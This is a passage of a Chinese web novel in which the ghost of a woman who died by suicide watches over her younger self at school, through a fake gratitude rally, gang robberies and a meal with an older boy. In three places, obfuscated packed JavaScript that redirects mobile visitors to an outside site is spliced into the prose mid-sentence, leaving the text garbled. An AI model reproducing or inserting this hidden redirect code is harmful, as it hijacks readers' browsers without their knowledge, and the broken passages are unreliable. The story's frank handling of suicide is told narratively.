这个高年级男孩儿似乎对菲比有好感，我的灵魂观察着青柠学长，回想起从前我对这号人物似乎比较反感，也不大记得清我和他之间发生了什么。原本我在那次期中考试中作弊大进步以后，对他挺感谢的，也感谢他分享的口香糖和糖果，可不晓得为什么渐渐反感了起来。 我守在菲比身边，慢慢恢复记忆，回忆往事。 五月份过母亲节的时候，菲比在梦境里送了一张亲自写的祝福贺卡给我，她说她的梦很奇特，总是梦见自己的守护神母亲，尽管她看不清我的样子，但她觉得我肯定很美丽善良。她问我，妈妈，你会永远来到我的梦里吗？我说我在的话就会来找你。 她问那你什么时候会不在呢？我遗憾地说我也不知道。 过几日，学校办起了传销一样的活动，有主持人在上面声情并茂地演讲感恩教育，激动万分地呼吁孩子们感恩父母和老师，深情地劝大家向父母拥抱或者下跪，反正演讲内容冗长又煽情，目的地是对大家进行洗脑，打着亲情的幌子，只为了在精神上操控人们购买他们的书籍和光碟等商品。 操场上坐听感恩演讲的父母和学生们哭声四起，他们简直鬼哭狼嚎。有的老师站在后面也擦起了眼泪，有的老师则面露难色。 福利院这阵子忙，没有给菲比安排临时家长参加家长会。百无聊赖的菲比单独坐在椅子上，环顾四周抱头痛哭的人们，她旁边的女生哭得鼻涕泡都喷出来了，她咬住弯曲的食指险些笑了出来。 菲比见他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630357|172519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们哭得分外夸张，她也不知道为什么，她不仅没被触动，反而觉得这种煽动的感恩教育好假，刻意又奇怪。也许她没有身在局中，倒是发现了这种活动的性质。总之，她满脸尴尬地观察家长和孩子们，有的父母和孩子也感觉尴尬，甚至在对视时没忍住笑了出来。 有一个爸爸问孩子，儿子，咱们哭吗？ 儿子难为情地说，不了吧，我就想笑，哭不出来。 也有妈妈与旁边的家长唠嗑，直言不讳地说：“这不是传销吗？都跟神经病一样，我不需要我的孩子对我感恩戴德，我生下我的孩子是我自己的意愿，干吗要把我的意愿强加在孩子身上，让孩子背负沉重的心情，非要来感恩我？生孩子又不是恩，明明是大人的私欲，基本的养育是必须的责任，以后的托举才是恩吧。相反我很感谢孩子出现在我的生命当中，圆满了我做妈妈的想法，我家孩子天生就爱我，我还觉得我经常做错事会辜负了我家孩子无条件的爱，有时候我弥补不了我无知做错事给她带来的伤害……我们会互相道歉和改正……在我们家没有父母的一切大过天的规矩……学校也是闲得蛋疼办这种活动，该不会只是为了卖东西从中抽取提成吧。” 那是菲比第一次听到这样的说法，影响到了她的人生观，她崇拜地看向这位会向孩子道歉的妈妈，幻想着如果对方是她的妈妈就好了。 菲比以前可能以为是自己的存在有问题，或者天生是女儿家做错了什么，才导致亲人无情地抛弃了她，现在她彻底不这么认为了。 她开始认同阿姨的说法，生孩子不是恩，分明是大人的私欲，他们却还要把私欲包装得多么高尚伟大，基本的养育是必须的责任，托举则是恩。如此，被遗弃的菲比也会减轻天生的负罪感。 现场父母和孩子们哭抱成一团的激动模样，使得身处其中的孤女菲比尴尬到起鸡皮疙瘩。当那位阿姨无语地翻白眼说，她绝不会买他们的狗屎玩意儿，就没再多说一句话。 菲比才跑到附近的厕所里躲清净，她撞见那个高年级哥哥也在，也就是青柠学长，他在男生厕所门口一副蹙眉无语的样子抽烟，似乎是想抽根烟也缓解尴尬的情绪，大抵还有别的什么别扭情绪。反正他看向操场的神态，同样是一种接受不了的表情。 当高年级男孩儿注意到有女生来了，就把半截香烟掐灭，精准地丢进了垃圾桶里。他们互相看了对方几秒，便移开目光，自从考场一别，他俩后来很少主动说话，就只是用眼神看看对方。 他们对视过后，高年级男孩儿的同班同学路过莫名其妙地提醒菲比说：“小学妹，你别跟他来电啊，他是花心大萝卜，到处勾三搭四，把全班女生的魂都吸没了，真没有我老实，你还不如多看我一眼，我长得虽然没他帅，好歹也是班里排名靠前的帅哥。” 王罙把兄弟的大脸推开了说：“别在那儿介绍你自己了，你成天到处网鱼怎么扣我头上……” “干……”那同学反问，“谁有你这渔翁的鱼多啊，我们班女生和其他班女生都是你的鱼，你分一条鱼给我咋了，那么多鱼不够你挑的啊哥们……” “别瞎说!”高年级男孩儿有些动气了，他生气的样子比较严肃，看起来就没有那么花心了。他的长得比较复杂，一双眼睛很深邃多情，沉稳中却透着花心和渣苏的气质。 菲比走进了女厕所里方便，她想起班上有个男生不帅也不丑，可他的行为惹人讨厌，他四处向班上的女生表白，迫切地分别问她们做不做他的女朋友。他还觉得自己是全班最帅的男生，女生们都喜欢他，便经常伸出咸猪手骚扰女生。这给女生们带来了困扰，大家建议他去精神病院看看病。我的灵魂也没少教训这种患了桃花癫的白痴。 青柠学长的同学既然当面说他的鱼很多，她就想起了班级里这个男生，对学长的第一印象很快就降低了。菲比出厕所时能多看他一眼也是难得的事情，估计她此时也觉得他长得不错，一边忍不住看他的外貌，一边又嫌弃他的花心和鱼多。 由于小学体育老师背叛了赵老师，她最讨厌长得有点儿姿色就花心的男生，她感觉这样的男生都会背叛爱人。高年级男孩儿和同学在厕所门口打闹着，他们看见菲比出来以后，那男同学玩世不恭地问菲比要联系方式。 菲比认定物以类聚，人以群分，不想理他们，那男同学却强拽着高年级男孩儿过来，拦路继续问女生的联系方式。高年级男孩儿还真看向了菲比，于是她把班主任的电话号码背给了他们。 男同学马上打了一通电话，结果里面传来老男人的声音，里面很嘈杂，环境像是在操场上，他都听见了传销头子的声音，吓得挂了电话。然后他跑上去拦住没走远的菲比，质问道：“喂，学妹，你的电话怎么是卡痰的老男人接的？” 菲比理所当然地说：“一日为师终身为父，我没有手机，就把我家班主任爸爸的电话号给你啊，不行吗？”说完，她头也不回地快步走了。 男同学五体投地，朝她的背影竖起了一个拇指。 晚上在宿舍里，菲比待阳台上收晾干的衣服，她发现有人似乎在看她，她看向对面找起了这种目光，有好几个男生一如既往地在视奸女生宿舍，有的男生还朝女生们骚浪地招手。她没想到青柠学长也在其中，不过他只是一个人默默看向她，他双手合十靠在栏杆上，沉默着不知在想什么，偶尔目光时不时地移到她所在的阳台。 菲比开始觉得他阴魂不散，哪儿都能看见这种轻浮的男生，她也想起了西伯利亚，咱们西伯利亚可老实了，当初只喜欢她一个女生。高年级男孩儿的浑身上下都有一种说不出来的花心，让人很不放心，她心想他肯定是沾花惹草的那种男生，所以无感，她以为他完全不如西伯利亚呢。 如果西伯利亚跟她一起上中学了还追她，她说不定能考虑一下西伯利亚，谈一场恋爱也不错。可惜西伯利亚上中学以后移情别恋，喜欢上了别的女生。人类就是这样，喜好随时会变化，以前喜欢的人事，后来不一定喜欢。 16. 墙边的混混 我的灵魂几乎不睡觉，待在菲比身边我没有发困的感觉，我想睡的话也能睡，只是没有在人间睡觉时有一种恢复精神和体力的舒适感，灵魂睡过去甚至常被困在梦里，此时我还不懂得魂梦的危害。 趁菲比睡觉的时间，我总会在白日或者黑夜里的学校和周边游玩。我有几次撞见那些不上进的学生小小年纪玩得放荡不羁，他们居然在学校玩蜜蜂给花朵授粉，有的情侣半夜溜到没锁的教室里在讲台桌上活动，有的在臭气冲天的厕所也能做下去，还有的在天台和小树林里野战……与他们相比，想当年到现在，我真是单纯得不能再单纯。 我在周围观察他们品尝禁果，才了解到造爱的过程，他们一般先是亲来亲去，再摸来摸去，最后干来干去。保安大叔和值班老师夜里会拿着手电筒四处巡逻，等他们碰到激战的情侣，男生的命根子都吓软了，便无情地脱身独自逃跑，丢下衣衫不整的女生。 大人们将无助的女生缉拿归案，女生再把逃跑男的名字报了出来，他们的下场是被校长双双开除。闹出这种不光彩的事，之后两家父母为了面子还替他们办了名正言顺的亲事，可没过多久这对情侣就分手了，最后男生去了外地做学徒打工，女生回村相亲嫁人了。 也有情侣在紧要关头，一起牵着彼此的手逃跑成功…… 我通常会助后者一臂之力，希望他们起码能混完基本的中学。我也提醒过其他女生别跟男生太早尝禁果，便入了她们的梦境，让她们做噩梦，先经历辍学嫁人生子后的一地鸡毛，总之人生烂得一塌糊涂……这之中有的女生被噩梦吓醒，醒来后就与引诱她们活动的男友分手，开始珍惜上学的日子，有的女生依然执迷不悟，爱得不负责的男友不可自拔，最后提前走向了真实生活的摧残。 我为这些胡搞的学生情侣操心，至于只单纯拥抱、牵手和亲小嘴的情侣我从不干涉，他们有的人还能激励彼此奋发图强，以后一起考到同一个学校…… 学校外面的混混我就不操心啦，只时常坐在墙头看热闹，不管是白天还是晚上，他们频繁约架打来打去。我坐在墙上荡着腿欣赏混子打架，偶尔拱火用意念把两边的人都戏弄了，使得他们互相打得更激烈，自己就笑得前仰后俯。 我在学校周围恶搞那些头发五颜六色的混混时，发现高年级男孩儿和舍友阿达晚上会溜出学校，他们悄悄地跑到附近的网吧上网，两人有时候一起去，有时候轮流一个人去升级打怪。我跟随着他们去一看究竟，他们在打网游，不只是有网瘾，听他们的对话，他们明显是在游戏里面赚钱，倒卖游戏账号或者卖装备。 我坐在他俩中间的桌子上，听他们与附近打游戏的其他哥们交流谈话，得知他们之前从学校翻墙出来遇到过混子打劫。 地痞混混们把高年级男孩儿和阿达堵在墙边，先礼后兵，抽着烟说就给他们两个选择，一是交了过路费平安无事，二是以后见他们翻墙出来一次打他们一次。别说这群混子还挺像在管理不守规矩的学生。 阿达本来怒气冲冲不想给这钱，做好了打架的准备。是王罙理智地拦下了阿达，他勾搭阿达的肩膀商量，本来他们也是违了校规去网吧，事情闹大了，惊动了学校肯定受处罚，对他们也没好处。那群混子要的钱也不算多，给他们点小钱打发算了。 阿达一向听从寝室长王罙的话，他们还在宿舍里开小卖部卖各种东西，这都是王罙带头领他赚钱，阿达就压下了内心不爽的感觉，于是他们把十块钱的过路费交给了这群地痞流氓。 原本王罙和阿达要交的不只是这么多钱，是王罙利用口才和领头混子讨价还价，顺带拍了下马屁，也卖惨说他们是学生，生活费本来就没多少，晚上出去也是为了赚钱在学校多吃一口饭，等他们以后赚得多了再多交点过路费孝敬大哥们。 领头混子见王罙挺识相的，就点头同意才收他们十块钱，两人还交换了手机号码。 后来某次王罙和阿达在学校其他的旧墙外面，又遭遇另一群围上来的地痞混子打劫，熬夜而烦躁的王罙也动怒了，不同的混子三天两头来收钱，他们还出去赚什么钱啊？这不是当冤大头纯粹出去打工给混子赚钱吗？混子什么时候都成了坐享其成的资本家？ 由此王罙拨通了头一批收过路费的领头混子的电话，质问对方学校墙边的过路费到底是谁在管？怎么又有混子来抢地盘让交钱？之前他们交的过路费都不算数了吗？不是说好了交了过路费就平安过路吗？天天收钱谁有那么多钱啊？贫困学生都要在学校饿死了，最近饿得低血糖发作人都站不稳…… 领头混子听了王罙炮语连珠地埋怨也立马火大了，谁啊，吃了熊心豹子胆敢来抢他的地盘，剥削他罩着的学生。 他连忙在电话里跟王罙好声好气地说，算数啊当然他妈的算数，过路费怎么是白交的呢？出来混要讲信用!他收翻墙学生的过路费，本来也是想让学生少翻墙出去野玩，知道王罙为了出去赚钱也没想多收，丫的真没多收大家的过路费啊，基本上交两次管几个月的平安路…… 于是领头混子安抚王罙在东墙与人周旋再等一会儿，他马上带着兄弟过来救场，他们就火速地骑了摩托车过来救王罙和阿达。 两波混子为了抢地盘就拼命地打了起来，场面热血激烈，而王罙和阿达拿起棍子当防身武器，并避到了角落里说，这十几块交得还挺值的啊，能喊那么多人过来打架。 那场架，领头混子这队胜出，其他混子作鸟兽散，他们狼狈地骑电瓶车和自行车逃跑了，也有拖鞋都跑掉的瘪三后来光脚逃命。领头混子这边有几个兄弟在打架中受了伤，没等他们对王罙开口说话，王罙就掏了点钱出来塞给他们，犒劳大家。 一来二去大家就成了相熟的人，领头混子带兄弟们骑摩托车走之前还说，以后有事再找他们。九零年代的学校周围是混混又多又乱的时候，但是他们根据黑/道电影的影响，混得有自己的道理和所谓的义气。 不过，学校周围四处溜达着想从学生身上捞油水的混子实在太多了，他们为了抢地盘经常火拼，肉小人多感觉没那么值得，领头混子那群人就换了一个地方混日子。不过他们依然罩着王罙和其他几个交过钱给他们的学生，谁打电话喊他们过来，他们只要有空就过来跟别的混子交涉，霸道地把学生保下来。 王罙还得出了一个结论，骑摩托的混子通常比骑电瓶车、自行车和徒步的混子战斗力强一些，反正基本上骑摩托车的混子打架肯定赢，他都想试试跟骑摩托车的混混打一架了。 我兴致盎然地听他们说这些事，感觉很精彩。 没过多久，王罙的想法就实现了。 八/九零年代学校周边的混子确实相当猖獗，后来有些讨厌的混子甚至骑着鬼叫的摩托车和电瓶车，竟然翻墙来学校里面抢钱，而且学校里还有内鬼不良少年和他们里应外合，合起伙来宰猪一样狠宰老实的学生们。 有一回王罙单独地翻墙出去上网，本来是平安无事的。他在混混们眼里都是熟人了，知道他有人罩着，就没人再问他收过路费和保护费之类没天理的费用，有时他们还向他打招呼问，网神，你又要去网吧咯？ 王罙懒得理这群不学无术的臭流氓，之前有弯的臭混子看上了他，非要跟他相好，明说看上了他的身子，最后那龟孙被他用散打的功夫揍得屁滚尿流。周围的其他人只是起哄看热闹，没有参与臭混子对花心男高进行强制爱之事，他揍了这种混混也就平安无事，其他看不惯基/佬的混子还夸他有种。 所以他不再对他们的调侃一笑而过，保不准又有混子想不开看上了笑容和煦的他。 大家下了晚自习，王罙如常避着混混们要去网吧，这次却撞到胆敢翻墙进来抢学生钱财的混子，以及其他穿着校服的内鬼在帮他们挑老实学生，他们似乎要干一票大的拦路抢劫。 老实男生都抱头在墙边蹲成了一排，混子和内鬼开始直接搜身，他们没规没矩，客气的话都不问就直接抢钱了，这是开天辟地头一遭。 刚刚翻到墙上的王罙看到里面也有好几个女生，连一头雾水的菲比也被拉到了墙边站着，女生们可以站着，并且最后搜钱。有个抱头的男生忍不住问这群土匪：“现在怎么不讲究女士优先呢？你们是不是男的啊？” 有个内鬼直接给他一脚踹了过去说：“你懂个锤子，这叫绅士风度，你他妈没看见她们长得美着呢，你一个赖□□当然要蹲着并且先交钱，还要交得多!这几个女生可是我们特意给大哥们留的纯情妹子，至于你这损塞样想主动当陪人的KTV少爷也不是不可以，咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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与此同时，其他看见墙边发生抢劫事件的好学生搬来了值班老师和保安大叔，混子们纷纷携款翻墙逃跑，穿校服的内鬼也四散奔逃， 不过也有好几个坏蛋被大家抓住了趁机重重地打了一顿，后面的女生们也都扒拉着战斗的男生们，往挨打的混子和内鬼中心踢踹好几脚，有人还往他们身上吐了好几口痰，特别是有个不喜欢喝水又上火的老实男生，把绿黄的黏痰从喉咙里搜集到嘴里吐到他们身上了。 这几口绿黄痰太过恶心，大家都打不下去了，连忙收手回避，生怕沾到了晦气。要不是老实男生瞎凑热闹，他们还能揍人好一会儿，不过这几大口黏痰也实在恶心坏了不干人事的混混和内鬼们。 校外赶来的老摩托车队伍，也把几个乱逃的贼子捉到了交给王罙。老摩托车队伍听说了这些混子破坏规矩不讲道义，恨不得清理了他们。 部分土匪余孽被大家缉拿归案，他们抢来的钱也都退还给学生们。第二天，值班老师还带着几个学生和菲比去其他班指认一起抢钱而未被抓的内鬼。 学校的领导们盛怒，周围混混作乱不断，连我校学生都不那么老实，在多重因素下，这一回学校严厉惩罚了不安分的坏学生。 抢钱的罪名可大了，轻则处分，重则开除。不管是翻墙进来的混子，还是助纣为虐的内鬼学生，都被学校移交给了警察处理。后来学校附近的地痞混子也少了，值班的老师和保安大叔还会随身携带一根大棒子，特意在周围来回巡逻。 由于学校查到高年级男孩儿是想翻墙出去上网，功过相抵，学校对见义勇为的王罙同学不奖不惩。而班级里的班主任公开表彰李菲比，临危不惧，智勇双全，送了她一张崭新的奖状。 此后，能打的菲比英雌救帅且爸爸又是警察的传闻就传得更开了，传得其他班的混子和外面的混子都不敢再去找她的麻烦。 末了那个把菲比拉到墙边凑热闹的内鬼学生，肠子都悔青了，他本来也是打算把菲比拉过去凑个数的，那天与混混人数匹配的女生就差那么一个，而这一个女生的影响正好让他们马前失蹄，所谓成也萧何败也萧何，悔不当初啊。 是啊，他们的悔不当初并不是意识到错误的行为，而是觉得没有错到底。 17. 感谢饭 高年级男孩儿当时没能及时等来老摩托车队伍，在危急情况下，他不得不出现明明是为了保护老实学生、菲比和女生们，想见义勇为且英雄救美一回，结果反倒变成了美雌救帅，他还被那些死混子们狠狠地打了好一顿，打得他鼻青脸肿，什么帅脸都没了。 王罙同学向兄弟既讲诉荣幸，又述事发时的狼狈不堪，羞耻啊。他悔恨交加地拍了拍阿达的肩膀说，那天真应该把阿达一起带去网吧打工，搞什么轮流值夜班呢？好在只有他一个人被查到翻墙上网的事，最近也只有他被看管得严格，留得青山在不怕没柴烧，阿达还能出去倒卖游戏账号。 隔日，高年级男孩儿把最近赚来的钱从存钱罐里取出来，给饭卡里多充了不少钱，特意邀请菲比去高中部的大食堂吃谢恩饭，顾名思义是救命之恩的感谢饭，希望菲比赏脸来吃。 菲比东张西望像做贼一样把王罙拉到了僻静处说话，她压根不想被其他同学看见有男生来找她，生怕被人传出她谈恋爱的谣言，自从学校开除两对授粉的情侣，谈恋爱开始被她视为洪水猛兽，更何况面前的男生还是绯闻很多的渣男小王子。她避着嫌对学长说，反正上次考试他教过她数学题，再加上他晚上路过能站出来也算保护了大家，算是回报，就扯平了。 王罙不同意这么草率地扯平，还问菲比紧张兮兮地躲什么？跟他这个被混子毒打过的狗熊站在一起，生怕被人看见了是吗？ “你不懂!”菲比瞥了他一眼说，“不过你被打的时候还是算帅气的，为大家拖延到了时间，让我们等来了起义和救援。” 王罙学长听菲比这么说，嘴角禁不住地上扬，反正他坚持邀请菲比去吃饭，她拦下那刀的救命之恩和其他事情完全没有可比性，想到那时的场景他都一阵后怕，因为吊桥效应，他都想请她吃很多顿饭呢，既然她不太想去，至少就吃一顿吧？ 菲比勉强同意只吃一顿饭，别人当面请客，她觉得自己也不好意思不回请，又想着要把不多的生活费再省下来也回请他一下比较合适。 他俩选在人少的时间安安静静地去食堂和小商店，主要是菲比鬼鬼祟祟地生怕撞到同学，或者怕学长班里的前辈看见她和他在一起。王罙实在想不通，菲比为什么和他小待片刻就像做了什么见不得人的事情一样，他忍不住问她到底怎么了？她很讨厌他吗？ 她下意识回了一句，是有点儿讨厌。她觉得他是花心的渣男，来低年级招惹好骗的女生，她谨记梅香妈妈的教导，她可不好骗。 王罙微微张嘴啊了一声，差不多是气息声。 一码归一码，他能见义勇为，大致的人品应该没出差错，就是在感情方面应该是个不成熟的混蛋。菲比想着不好意思地摸摸头，打哈欠说，没什么啊，咱们快吃饭去，吃完还要回去做作业。 对于吃东西这方面来说，菲比是没有那么客气的，既然她答应要吃饭，那就好好地吃一顿。菲比在窗口点了好几个菜，阿姨的手完全不抖，帮她添了满满当当的饭菜，因为她下意识称呼食堂阿姨为妈妈。她说，妈妈，我想吃这个，想吃那个。 王罙同学有点儿意外地看向她，不禁问道：“嗯？你见谁都叫妈妈和爸爸吗？扫厕所的是你妈妈，班主任也是你爸爸，那么你怀表里的警察真的是你的爸爸吗？” 菲比防备地看了他一眼，没好气道：“你管那么多干什么？我爱叫谁就叫谁。”她端了堆成山一样的盘子找到空位坐下，都没等请饭的学长，那几句问话冒犯到了她，也让她觉得有些难过和心虚。 王罙看似丈二和尚摸不着头脑，不过他点菜的时候学菲比，也羞涩地管食堂大妈叫妈妈，我想吃这个、那个。食堂阿姨笑眯眯地帮他也添了大份的饭菜，还调侃他和菲比是不是在谈恋爱约饭啊，那她岂不是既当丈母娘又当婆婆咯？ 过河拆桥的王罙脸庞微红地劝食堂的老大妈别瞎说，他转身端饭菜走向菲比那桌之前低语了一句，早知道叫妈妈那么好使，他应该从入学开始就叫手抖的食堂大妈是妈妈，叫一声妈妈不仅不会少一块儿肉，还会多几块儿肉，那多划算呐。 这是菲比第一次来高中部吃饭，此处的饭菜比初中部的食堂丰富好吃，其实原本差不多，只是丰富起来才更好吃了，而且有好几样菜都是新口味。她的脑袋简直像凑在饭碗上面的饿死鬼，筷子伸入碗里的速度一下比一下快，这饿死鬼刨食的激动模样又把王罙看得忍不住问道：“我的天，你吃饭的样子挺像我以前养过的忠犬，不过它后来有了更好的前程去了别的主人那里……你吃那么快干吗？想吃完就走吗？不怕噎着啊，慢慢吃啊，吃完了你也走不了，我还想带你去逛小卖部呢。” 菲比抬起头赧然地擦了擦嘴，解释说：“我吃饭就这样啊，我觉得狼吞虎咽才有吃得饱的感觉，要是饭菜少的话我才细嚼慢咽。” “等等别动……”王罙绅士而迟疑地抬手，很轻地擦掉了她嘴角附近的几粒米，他微微一笑，“这饭沾在你脸上，你真没感觉啊？” “没有啊。”菲比挪了下位置，并往后仰与他保持距离，她抬袖又胡乱地擦了擦嘴巴周围，“擦干净了吗？” “干净了。”王罙同学慢条斯理地吃饭，吃相真的很淡定，他补充道，“我以前看电视看到这种剧情觉得好假，脸上有东西怎么会感觉不到，没想到是真的，是我孤陋寡闻了。” 菲比只想用心积极地干饭，不想和他一边吃饭一边聊天，她说了一句食不言寝不语，就继续专心地刨饭了，等她吃完了，这学长还像个老人一样细嚼慢咽，过于慢吞吞，吃出了一种被刀子捅过以后住院吃饭的感觉。 “你吃得完吗？”等待的菲比问。 “废话，我怎么可能吃不完这点饭菜，我又不是女生的小鸟胃。”他说着把盘子往前挪了挪，“你想吃就夹……” “你这是刻板印象，凭什么女生就是小鸟胃，你们男生就是大胃？我胃口就不小啊。”她本来也没想夹他盘子里的饭菜，这似乎没有边界感，在他说女生是小鸟胃以后，她不服气地执筷吃他碗里的菜。 “确实，是我错了……看你胃口不小就知道是我的刻板印象了……”他好似和西伯利亚一样，容易接受建议。 二人吃完饭，王罙请菲比去小卖部挑零食，菲比也请他挑些东西她想回请，最后王罙抢着把钱付了。 菲比选了两桶方便面，他还帮她捡了其他的零食，知道她喜欢吃薯片和糖果，就多拿了几包放进袋子里。他则是选了一桶泡面和苏打饼干。 他们来到了石桌附近加餐吃泡面，菲比留了一桶泡面准备以后回宿舍吃，其他的东西她几乎在现场就吃完了，泡面汤也被她喝掉一大半。 王罙本来以为那些是她带回宿舍慢慢吃的东西，谁知她吃完正餐，再泡了桶泡面，外加其他零食竟然都吃完了。 她摸摸头，笑容可掬地说，上了初中长身体呢比较能吃，总感觉胃口像一口井。 王罙认真地问她饱了吗？没饱的话，把他的卡刷爆都行。 她婉拒说，不刷了，吃七分饱就够了。虽然还差点感觉，一桶泡面不够，两桶泡面又撑了…… 他会心一笑说，吃这么多还七分饱？你小小的身体也太能吃了，佩服，佩服。 她哼了一声说，她就是想吃得多，长成大大的身体。她想起某个在早上经常往她桌上放食物的匿名雷锋，她太感谢这位雷锋了，帮到她很少再犯低血糖。 他们在石桌上吃完零食分别不久，王罙学长又去小商店给她买了一大袋零食，迅速放到了她的桌上就跑了，袋里的纸条上写了犒劳她的，对于救命之恩，无以为报，以零食相许。 同班同学看见对方在走廊里奔跑的身影后，便提醒菲比说，传闻那个学长脚踏两条船刚把同班的女友绿了甩了，别跟他沾上关系，免得被传做了小三，他的外号是渣男小王子。 菲比毫不意外，并且从善如流，她听了这个具体的传闻逐渐对他深恶痛绝。日后，他们再在校园里见面，他友好微笑似乎想打招呼的时候，她嫌恶地白了他一眼。他顿时哑然，不知是怎么得罪她了。难道是因为多送了零食？这也不该啊？ 背负了“渣男小王子”名声的学长总是琢磨菲比的一举一动，想起菲比之前那句有点儿讨厌，他似乎后知后觉明白她好像本身就对他有莫名其妙的反感，渐渐就与她保持了距离。他那些嘀咕的话语，我的灵魂都听得差不多。 反正他绿了某个女同学的事，在他们班愈演愈烈。我自然觉得以前的我还是不要和这种人有什么牵扯比较好，免得被玩弄感情或者连累。 可王罙空了以后，时不时忽前忽后地出现在菲比的附近，我的灵魂都不明白他到底想做什么？他既不追求菲比，又不远离菲比，总之行为举止颇为奇怪。我也没有再听到他和同学之间聊菲比的话。 我的灵魂回到菲比的教室里那一刻，看到她的裤子差点儿被同学莫名其妙地扒了，我用意念挽救了她的体面，她气得转身撕裂了对方的裤子，教室里哄堂大笑，先乱开玩笑却发窘的同学马不停蹄地回宿舍换校裤了。初中流行扒裤子的游戏，真不知道这股妖风是怎么传过来的。 我待回菲比身边的那些日子里，发现那个高年级男孩儿老是远远地注视菲比，而菲比已经不再关注他了，但我的灵魂想要去了解一下情况。 在学生们中午睡觉的期间，我第一次入了这个男孩儿的白日梦境，我想问他老看着菲比做什么？还想警告这小子别对菲比有什么不良心思，毕竟他不干不净的。 结果王罙居然说，小学的时候他在草坪上偷听到了逞美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630359|172519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和菲比的对话，他从那时候开始就知道菲比是孤儿了，以前他只是同情那个小女孩儿，还送了随身携带的棒棒糖给她，他也有低血糖……现在他也是孤儿了，他觉得他们是一样的孩子啊，想和她抱团取暖。 我意外了，这小子居然是小学在绿化带里帮我赶走蜘蛛，并赠草莓味棒棒糖的大哥哥，再听了他同样的孤儿身世我几乎心软了，原来他更是有过一面之缘的同类旧校友。 可我在福利院没有见过王罙啊，然后他说，他是被亲戚收养了，在表亲家过着寄人篱下的日子，可能福利院的日子比在亲戚家里好过一点。不过亲戚都把他丢到寄宿学校里，既得了照顾已逝亲戚的孩子的美名，又不怎么管他。 我坐下来抱住他的肩膀，叹息着告诉他：“福利院里的日子没你想得那么美好，也不算太差，活下去就是了。希望你很快能熬过去，以后赚钱独立了有属于自己的家……”我想了想问他，“你有什么梦想吗？” 我想鼓励他。 王罙情绪复杂地说：“我有梦想，我的梦想是考警校，长大以后成为一名警察，我的梦想是像那天在墙上跳下去一样，能一直见义勇为不麻木下去……可是……” “可是什么？” “没什么……”他低头擦了一下眼泪。 于是我帮他打气，支持他朝着理想前进，少看背后的事，多往目标上看。我还告诉他，我小时候也有过警察梦呢，并把苏菲医生的很多话都说给了王罙听。 他迟迟才知道问：“好姐姐，你是谁？” 我第二次把这个秘密在梦境里告诉别人：“王罙，你相信吗？我是长大后的菲比。” 少年吃惊地问：“啊？真的吗？你发个誓，骗我你就是猪。” “骗你我就是猪。”我耸肩笑了笑说，“随你信不信，反正你醒来以后应该会忘了大概内容，我告诉你也没事吧。” 我还问他，你觉得我好看吗？他毫不犹豫地说在他眼里很好看。 郁闷很久的我终于可以跟一个少年随口谈心了，我决定等他醒来，用意念力量令他尽量忘掉梦境里的记忆。 我便吐露心声：“你知道吗？长大后的我自杀了，然后灵魂莫名就回到了很多年前，开始保护小时候的自己了。” “什么？!你为什么自杀呢？”少年紧张地抓住了我的手臂，面露焦虑，不解地问。 我徐徐讲道：“这很难说吧，有很多因素，比如我有心理疾病，在生理上控制不了情绪跌入谷底，身心俱疲，总是很难受。还有其中一些因素是渴望家人，渴望别人一直爱我，我一个人孤独地走了很多年累了，或许我不自爱，或许我只是想消失停止一切。其实我死了以后才有自爱的意识……但是迟了……”我淡笑着说，“跟你一个小屁孩说那么多有什么用。” 清瘦的王罙上前一把拥抱住了我，他现在的个子都比我高些，这个拥抱好温暖踏实，我也喜欢别人主动的拥抱，便回抱了过去，并抚摸少年的脑袋。他脱离这个拥抱以后，目光坚定地看着我，无比认真地问道：“李菲比，如果以后我能阻止你自杀呢？你是在什么时候自杀的？在哪里自杀？” 我怔住了，稍后下意识答道，日期是二〇〇四年立夏第二天五月六日，是甲申年。在我的租房…… 但我也不抱期望，已看淡生死，就算我不抹去他的记忆，他醒来以后肯定会忘记这些事情的，大多数人都容易忘记自己的梦境。否则我不会自杀成功，从而出现在这里。如同赵老师忘记了我的提醒，依然重蹈覆辙。 王罙念了好几遍二〇〇四年五月六日，以及我租房的地址。 我让他别念啦，想起入梦的目的，便嘱咐他在高中的时候别老出现在我面前，特别是别与我相交甚密，反正最好保持点距离，不要去打扰上学的我，如果菲比将来高考的分数高一些，起码能考上好点的大学，说不定能挽救到我的生命……我以前的高考分数很低，导致我没去上大学，这也是我自杀的原因之一…… 王罙很专心地听着我所有的话，点头答应说记住了，他绝对不会再去打扰念中学的我，他也要好好地半工半读。 我们在梦里谈心了一会儿，我才问道，他的父母是怎么没了？ 王罙逐渐湿润的眼睛放空地盯着前方，他说，他爸爸意外去世以后，有抑郁症的妈妈受不了打击就自杀了。 当我问到此处，这个睡在课桌上的高年级男孩儿泪从梦中来，他的眼泪由梦境里落到了现实里。我很抱歉，挖人心事，惹人伤心。我继续宽慰他一会儿，便讪讪地从他的梦境里离去。 